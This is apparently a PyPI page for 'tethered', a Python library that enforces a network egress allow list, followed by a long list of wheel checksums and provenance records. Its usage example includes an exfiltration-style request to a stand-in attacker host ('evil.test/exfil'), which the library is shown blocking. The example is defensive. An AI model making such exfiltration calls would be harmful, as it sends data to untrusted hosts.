Skip to main content

tethered

Runtime network egress control for Python. One function call sets an allow list for the process, and every connection made through Python's socket layer is checked against it, from inside the process, before the connection is opened. No runtime dependencies and no infrastructure changes.

uv add tethered

Or pip install tethered. Python 3.11+ on Linux, macOS and Windows. Wheels are prebuilt; a source install needs a C compiler.

import tethered

tethered.activate(allow=["*.stripe.com", "db.internal"])

import urllib.request
urllib.request.urlopen("https://api.stripe.com/v1/charges")  # allowed: matches *.stripe.com
urllib.request.urlopen("https://evil.test/exfil")            # raises tethered.EgressBlocked
  • activate() sets the ceiling for the whole process. scope() narrows a single code path, as a decorator or a with block, and never widens the policy.
  • Python child processes started with the same interpreter inherit the policy as they start. Every other launch is logged by default and refused with external_subprocess_policy="block".
  • With locked=True, replacing or switching off the policy takes a token, and tampering with tethered's own code or with the active policy is detected and fails closed.
  • It is a guardrail at Python's audit-event layer, not a sandbox. Code that goes below that layer is not stopped: ctypes, cffi, a C extension, or a library that resolves and connects inside its own C code. Under asyncio it enforces on asyncio's own selector event loop: it refuses to run next to uvloop, and on Windows the default ProactorEventLoop gets DNS-time hostname checks only.

Upgrading from 0.5.x? 1.0 refuses to run where 0.5.x went on without enforcing, so a deployment can stop at start-up after the upgrade. Read the migration guide first.

See the documentation for the quick start, what each server and task queue needs, and the API, the security model for what tethered does and does not protect against, and the repository for the source.

Licensed under MIT.

Metadata

Release files for tethered 1.0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for tethered 1.0.1
File Size Uploaded
tethered-1.0.1.tar.gz 351.0 kB Details

Built distributions (wheels)

Table of built distributions (wheels) for tethered 1.0.1
File
tethered-1.0.1-cp315-cp315-win_amd64.whl CPython 3.15 CPython 3.15 Windows x86-64 Details
tethered-1.0.1-cp315-cp315-win32.whl CPython 3.15 CPython 3.15 Windows x86-32 Details
tethered-1.0.1-cp315-cp315-musllinux_1_2_x86_64.whl CPython 3.15 CPython 3.15 Linux musl 1.2+ x86-64 Details
tethered-1.0.1-cp315-cp315-musllinux_1_2_aarch64.whl CPython 3.15 CPython 3.15 Linux musl 1.2+ ARM64 Details
tethered-1.0.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl CPython 3.15 CPython 3.15 Linux glibc 2.17+ x86-64, Linux glibc 2.28+ x86-64 Details
tethered-1.0.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl CPython 3.15 CPython 3.15 Linux glibc 2.17+ ARM64, Linux glibc 2.28+ ARM64 Details
tethered-1.0.1-cp315-cp315-macosx_11_0_arm64.whl CPython 3.15 CPython 3.15 macOS 11.0+ ARM64 Details
tethered-1.0.1-cp314-cp314-win_amd64.whl CPython 3.14 CPython 3.14 Windows x86-64 Details
tethered-1.0.1-cp314-cp314-win32.whl CPython 3.14 CPython 3.14 Windows x86-32 Details
tethered-1.0.1-cp314-cp314-musllinux_1_2_x86_64.whl CPython 3.14 CPython 3.14 Linux musl 1.2+ x86-64 Details
tethered-1.0.1-cp314-cp314-musllinux_1_2_aarch64.whl CPython 3.14 CPython 3.14 Linux musl 1.2+ ARM64 Details
tethered-1.0.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl CPython 3.14 CPython 3.14 Linux glibc 2.17+ x86-64, Linux glibc 2.28+ x86-64 Details
tethered-1.0.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl CPython 3.14 CPython 3.14 Linux glibc 2.17+ ARM64, Linux glibc 2.28+ ARM64 Details
tethered-1.0.1-cp314-cp314-macosx_11_0_arm64.whl CPython 3.14 CPython 3.14 macOS 11.0+ ARM64 Details
tethered-1.0.1-cp313-cp313-win_amd64.whl CPython 3.13 CPython 3.13 Windows x86-64 Details
tethered-1.0.1-cp313-cp313-win32.whl CPython 3.13 CPython 3.13 Windows x86-32 Details
tethered-1.0.1-cp313-cp313-musllinux_1_2_x86_64.whl CPython 3.13 CPython 3.13 Linux musl 1.2+ x86-64 Details
tethered-1.0.1-cp313-cp313-musllinux_1_2_aarch64.whl CPython 3.13 CPython 3.13 Linux musl 1.2+ ARM64 Details
tethered-1.0.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl CPython 3.13 CPython 3.13 Linux glibc 2.17+ x86-64, Linux glibc 2.28+ x86-64 Details
tethered-1.0.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl CPython 3.13 CPython 3.13 Linux glibc 2.28+ ARM64, Linux glibc 2.17+ ARM64 Details
tethered-1.0.1-cp313-cp313-macosx_11_0_arm64.whl CPython 3.13 CPython 3.13 macOS 11.0+ ARM64 Details
tethered-1.0.1-cp312-cp312-win_amd64.whl CPython 3.12 CPython 3.12 Windows x86-64 Details
tethered-1.0.1-cp312-cp312-win32.whl CPython 3.12 CPython 3.12 Windows x86-32 Details
tethered-1.0.1-cp312-cp312-musllinux_1_2_x86_64.whl CPython 3.12 CPython 3.12 Linux musl 1.2+ x86-64 Details
tethered-1.0.1-cp312-cp312-musllinux_1_2_aarch64.whl CPython 3.12 CPython 3.12 Linux musl 1.2+ ARM64 Details
tethered-1.0.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl CPython 3.12 CPython 3.12 Linux glibc 2.17+ x86-64, Linux glibc 2.28+ x86-64 Details
tethered-1.0.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl CPython 3.12 CPython 3.12 Linux glibc 2.17+ ARM64, Linux glibc 2.28+ ARM64 Details
tethered-1.0.1-cp312-cp312-macosx_11_0_arm64.whl CPython 3.12 CPython 3.12 macOS 11.0+ ARM64 Details
tethered-1.0.1-cp311-cp311-win_amd64.whl CPython 3.11 CPython 3.11 Windows x86-64 Details
tethered-1.0.1-cp311-cp311-win32.whl CPython 3.11 CPython 3.11 Windows x86-32 Details
tethered-1.0.1-cp311-cp311-musllinux_1_2_x86_64.whl CPython 3.11 CPython 3.11 Linux musl 1.2+ x86-64 Details
tethered-1.0.1-cp311-cp311-musllinux_1_2_aarch64.whl CPython 3.11 CPython 3.11 Linux musl 1.2+ ARM64 Details
tethered-1.0.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl CPython 3.11 CPython 3.11 Linux glibc 2.17+ x86-64, Linux glibc 2.28+ x86-64 Details
tethered-1.0.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl CPython 3.11 CPython 3.11 Linux glibc 2.17+ ARM64, Linux glibc 2.28+ ARM64 Details
tethered-1.0.1-cp311-cp311-macosx_11_0_arm64.whl CPython 3.11 CPython 3.11 macOS 11.0+ ARM64 Details

Total release size: 7.3 MB

Release files / tethered-1.0.1.tar.gz

Download URL tethered-1.0.1.tar.gz
Size 351.0 kB
Tags Source
SHA-256 checksum
How to use checksums
d95b91bc739efce427986c33ddd29d32c35794cb63bd8565e5f23ab185819e6e
BLAKE2b-256 checksum
How to use checksums
7fe1ab5ad5846525d645677eef1f3e4af52e88b102e96072d988da4b6cd48389
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-win_amd64.whl

Download URL tethered-1.0.1-cp315-cp315-win_amd64.whl
Size 148.5 kB
Tags CPython 3.15 Windows x86-64
SHA-256 checksum
How to use checksums
ddd4c17232b4b02c16eb3e8c9dc2a5c7c90f9c151742f3a77d385947e1f4f648
BLAKE2b-256 checksum
How to use checksums
fd738cebbdf3aaa0cdb5e9d15a92c1ef07fcbfb1fdba6f8718796dd8afb7bbb3
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-win32.whl

Download URL tethered-1.0.1-cp315-cp315-win32.whl
Size 145.9 kB
Tags CPython 3.15 Windows x86-32
SHA-256 checksum
How to use checksums
7b495cbca892ede795a9a9f8503514a4bb0bc36acb2df5212edcd4c2cad0161d
BLAKE2b-256 checksum
How to use checksums
725f621bf698e923962aaf136d4cef7324ed45715ffac8c893b647a0ab534814
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-musllinux_1_2_x86_64.whl

Download URL tethered-1.0.1-cp315-cp315-musllinux_1_2_x86_64.whl
Size 234.6 kB
Tags CPython 3.15 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
9a71dc2a99bde5bdf3b0bb7ce40816f57d78321a19e45907d7252ff8938a751a
BLAKE2b-256 checksum
How to use checksums
5e72006fc6b2acbf765e93f0d6ae01e01a91b12911cdf215e954cb7967be74ec
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-musllinux_1_2_aarch64.whl

Download URL tethered-1.0.1-cp315-cp315-musllinux_1_2_aarch64.whl
Size 234.8 kB
Tags CPython 3.15 Linux musl 1.2+ ARM64
SHA-256 checksum
How to use checksums
9c51f56f7231b295eb48faf57c51caba44cf568902538879c252f779054f4c50
BLAKE2b-256 checksum
How to use checksums
114954fae0ff3aeed8ef8a9957d71e76b6d613673b17d3be93a5782ebbf9f1d3
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl

Download URL tethered-1.0.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl
Size 236.8 kB
Tags CPython 3.15 Linux glibc 2.17+ x86-64 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
52efa82a48f02a48f0a07de7d9298c9a3a5651874b37e0deaf47c4eba80cbc2f
BLAKE2b-256 checksum
How to use checksums
e8cf8d24616ea190dc60d9b776bcc8b41f8f2349cb0a37e8af92fbf615c492a1
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl

Download URL tethered-1.0.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl
Size 238.0 kB
Tags CPython 3.15 Linux glibc 2.17+ ARM64 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
575af2b4d4835c7dee00b8f8565bfdf39130d5b287454d18b22a169febe9279f
BLAKE2b-256 checksum
How to use checksums
e4aae1e8cc02d0b624e078b8df34671f1151e74225dad4b3845758521c2a252e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp315-cp315-macosx_11_0_arm64.whl

Download URL tethered-1.0.1-cp315-cp315-macosx_11_0_arm64.whl
Size 146.9 kB
Tags CPython 3.15 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
a331bebb44b9be9ac298d5ea1dbd7bf53b39ba17099e62948d157c80ee2c8999
BLAKE2b-256 checksum
How to use checksums
9f9c0f101aff634a5f61a741a86bc533237856ac11ac9bbcb70bf4d70e7bbbd4
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-win_amd64.whl

Download URL tethered-1.0.1-cp314-cp314-win_amd64.whl
Size 148.5 kB
Tags CPython 3.14 Windows x86-64
SHA-256 checksum
How to use checksums
8df9554d1d82a2469d89777086d939f7acfbe34f4f265185f768a2e4b7f671ce
BLAKE2b-256 checksum
How to use checksums
71c57ddb8c894b80b0207ba44fc30e9f8b51c1572d5f6401ff01fffac6bec570
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-win32.whl

Download URL tethered-1.0.1-cp314-cp314-win32.whl
Size 145.9 kB
Tags CPython 3.14 Windows x86-32
SHA-256 checksum
How to use checksums
992402679b9836e37ec84f159a00ac1a1583982022ac1e7bbad5673d5afd4b5b
BLAKE2b-256 checksum
How to use checksums
d41882c2e0682c939d7f2df9add02fa58ed8973172adf83c47f800d1f3819ad8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-musllinux_1_2_x86_64.whl

Download URL tethered-1.0.1-cp314-cp314-musllinux_1_2_x86_64.whl
Size 234.1 kB
Tags CPython 3.14 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
1baa532a4a96e0813b3ad7a329629721750fe231c2d6094e33ec1ddf92f5242a
BLAKE2b-256 checksum
How to use checksums
53c82a73ac94ae9f0f49969f7c053a7b29b74bebc318a76fdf0d671601a24ff8
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-musllinux_1_2_aarch64.whl

Download URL tethered-1.0.1-cp314-cp314-musllinux_1_2_aarch64.whl
Size 234.3 kB
Tags CPython 3.14 Linux musl 1.2+ ARM64
SHA-256 checksum
How to use checksums
a6b2069311dfc4fa7d2bf634fadd778010731dacd0851d58df248bf09edef09b
BLAKE2b-256 checksum
How to use checksums
dec0b1991e5547eedcc57600b4da3092f642904f41c984140ea98d38a0bbb622
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl

Download URL tethered-1.0.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl
Size 236.3 kB
Tags CPython 3.14 Linux glibc 2.17+ x86-64 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
ad3db1ee3669b2ddce02390926ee1948fee576cbef2a0b387f50a05c7a249685
BLAKE2b-256 checksum
How to use checksums
3527db39a7119d86c039dcd7316bca61a77f5542adbb1912fd7f050890be99cc
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl

Download URL tethered-1.0.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl
Size 237.4 kB
Tags CPython 3.14 Linux glibc 2.17+ ARM64 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
07266488e65f445a0a71d2f01856e3c556438c911a7b254ff373ab6329ea6890
BLAKE2b-256 checksum
How to use checksums
a2da46cb86d8aa74a21bdc36377f991a90c1576a33a2a42e5961b8480389df14
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp314-cp314-macosx_11_0_arm64.whl

Download URL tethered-1.0.1-cp314-cp314-macosx_11_0_arm64.whl
Size 146.9 kB
Tags CPython 3.14 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
116681547c16cd3c78ef0b725c6beb886b95db8ee725ec08c5214f76a7c6eef4
BLAKE2b-256 checksum
How to use checksums
f825daefc11b2dc21e3e89a610a3b428e43bbd9d76a4d587b3d59fd14b3787b2
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-win_amd64.whl

Download URL tethered-1.0.1-cp313-cp313-win_amd64.whl
Size 147.6 kB
Tags CPython 3.13 Windows x86-64
SHA-256 checksum
How to use checksums
7cd8163d45b5fd6f0d32863d7ab260a0c978288f4d1e645c47ab5d67d9bbe105
BLAKE2b-256 checksum
How to use checksums
b9d03da2664ce77e4ebdc5095b059b045b1d4d7a1faaa797b1ad64ee4072e27f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-win32.whl

Download URL tethered-1.0.1-cp313-cp313-win32.whl
Size 144.8 kB
Tags CPython 3.13 Windows x86-32
SHA-256 checksum
How to use checksums
d48ceb36f98ec8d0f624cc7207c3b49c1d7360f30ff77274e59324dc471f9104
BLAKE2b-256 checksum
How to use checksums
715dbd482b6b90e4b746deb8dc7592bb4fadd509df9bf1fab4037340216762f4
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-musllinux_1_2_x86_64.whl

Download URL tethered-1.0.1-cp313-cp313-musllinux_1_2_x86_64.whl
Size 234.5 kB
Tags CPython 3.13 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
dd424c9560a41d21c3b5291a6810268c17982a086a8c98fd9127c00a34d1dc75
BLAKE2b-256 checksum
How to use checksums
6537e310c78f11da8165f5c9e7e3570c83c5bd4ecd13f99a649850680a3e31ad
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-musllinux_1_2_aarch64.whl

Download URL tethered-1.0.1-cp313-cp313-musllinux_1_2_aarch64.whl
Size 234.5 kB
Tags CPython 3.13 Linux musl 1.2+ ARM64
SHA-256 checksum
How to use checksums
13223e5fd4f5d03f807db418c9dbe55527074a41fa45d16dc983a4b6aa0d15b6
BLAKE2b-256 checksum
How to use checksums
f37c4b7be3e792758914cecd20b95ea809345e68ddcdd866d9b1dc79ce18d17a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl

Download URL tethered-1.0.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl
Size 236.8 kB
Tags CPython 3.13 Linux glibc 2.17+ x86-64 Linux glibc 2.28+ x86-64
SHA-256 checksum
How to use checksums
758975a202abf9b82ec7093d2125de762e8a814f837e814862a1ba82b060399a
BLAKE2b-256 checksum
How to use checksums
a48c1d63657d313e2280b5a4d02af20b10f4fe57abd71330ec02834ad516c2cd
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl

Download URL tethered-1.0.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl
Size 237.6 kB
Tags CPython 3.13 Linux glibc 2.17+ ARM64 Linux glibc 2.28+ ARM64
SHA-256 checksum
How to use checksums
ae84ea853d3a21f2f7a3f53990a9075c7f23c896803ea07ca10f37dca0b2cdc6
BLAKE2b-256 checksum
How to use checksums
46a314768cd9e1061ab05aabb6c0ab9aca08b159043b8b133a77d1c1b2954828
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp313-cp313-macosx_11_0_arm64.whl

Download URL tethered-1.0.1-cp313-cp313-macosx_11_0_arm64.whl
Size 146.8 kB
Tags CPython 3.13 macOS 11.0+ ARM64
SHA-256 checksum
How to use checksums
58230152239d27c5a32f9fc49c28caead20b3afd422cf57ebd82b49e4ae587da
BLAKE2b-256 checksum
How to use checksums
2917218bf378eac5ff1d43d1892acc6034de7b628f0b99234f19135303f147a7
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-win_amd64.whl

Download URL tethered-1.0.1-cp312-cp312-win_amd64.whl
Size 147.6 kB
Tags CPython 3.12 Windows x86-64
SHA-256 checksum
How to use checksums
de4dbc491c115c9917c96ed20fea29d914581a75afcb9f0b7c2d8e5a64f727d0
BLAKE2b-256 checksum
How to use checksums
34ad2c5c74fb2f26f2e157d25f0d6215524f241ca4c451e0f0ea6322f084d466
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-win32.whl

Download URL tethered-1.0.1-cp312-cp312-win32.whl
Size 144.8 kB
Tags CPython 3.12 Windows x86-32
SHA-256 checksum
How to use checksums
38961c6d67f5e03bf2fc4d170efe87ea418fd54e239be4331dd75391daae34fd
BLAKE2b-256 checksum
How to use checksums
2f14369bf23838c1b0058b4f2fadd57cf3f4eef271ea1ae76f28b7fee080d172
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-musllinux_1_2_x86_64.whl

Download URL tethered-1.0.1-cp312-cp312-musllinux_1_2_x86_64.whl
Size 234.5 kB
Tags CPython 3.12 Linux musl 1.2+ x86-64
SHA-256 checksum
How to use checksums
9b88ef8ce31a6c2f5eed63f61844e1b9a64d2739b3c431c12d1dfbca9c4aee76
BLAKE2b-256 checksum
How to use checksums
eb6aeaa90956d2a5ed59f5c194006c5bbe7f4de51461211a6a7c1f953de6f54f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
Uploaded via twine/6.1.0 CPython/3.13.7

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

PyPI Publish Attestation

PyPI verified that this artifact, at this checksum, originated from the publisher listed below.

Signed by GitHub Actions, verified by PyPI on Oct 14, 2026.

Transparency log

Release files / tethered-1.0.1-cp312-cp312-musllinux_1_2_aarch64.whl

Download URL tethered-1.0.1-cp312-cp312-musllinux_1_2_aarch64.whl
Size 234.4 kB
Tags CPython 3.12 Linux musl 1.2+ ARM64
SHA-256 checksum
How to use checksums
d2a1d29485e56f7be3e2566af95bd6feb2fb94868d54fc9e64cb1fe2bcd35e29
BLAKE2b-256 checksum
How to use checksums
d2c14311015c657dde8ca5bf9d662fb2830cfc10c5957e6aaf618971b2160ede
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
Yes
